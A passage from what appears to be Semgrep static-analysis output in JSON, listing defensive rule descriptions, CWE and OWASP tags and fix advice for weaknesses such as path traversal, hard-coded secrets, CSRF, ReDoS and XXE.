Rule](https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine)\n - [https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/](https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks)\n","text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","id":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","name":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","id":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","name":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","id":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","name":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"help":{"markdown":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid)\n - [https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data](https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data)\n","text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"helpUri":"https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","id":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","name":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"help":{"markdown":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage)\n - [https://www.npmjs.com/package/csurf](https://www.npmjs.com/package/csurf)\n - [https://www.npmjs.com/package/csrf](https://www.npmjs.com/package/csrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","id":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","name":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"help":{"markdown":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb)\n - [https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/](https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/)\n","text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","id":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","name":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"help":{"markdown":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","id":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","name":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"help":{"markdown":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled)\n - [https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints)\n - [https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785](https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785)\n - [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)\n","text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","id":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","name":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"help":{"markdown":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace)\n - [https://github.com/returntocorp/semgrep-rules/issues/518](https://github.com/returntocorp/semgrep-rules/issues/518)\n","text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","id":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","name":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"help":{"markdown":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","id":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","name":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square OAuth Secret detected"},"help":{"markdown":"Square OAuth Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret)\n - [https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py](https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py)\n","text":"Square OAuth Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","id":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","name":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"help":{"markdown":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1)\n - [https://link.springer.com/chapter/10.1007/BFb0055716](https://link.springer.com/chapter/10.1007/BFb0055716)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/cipher/pkcs1_v1_5](https://www.pycryptodome.org/src/cipher/pkcs1_v1_5)\n","text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","id":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","name":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep 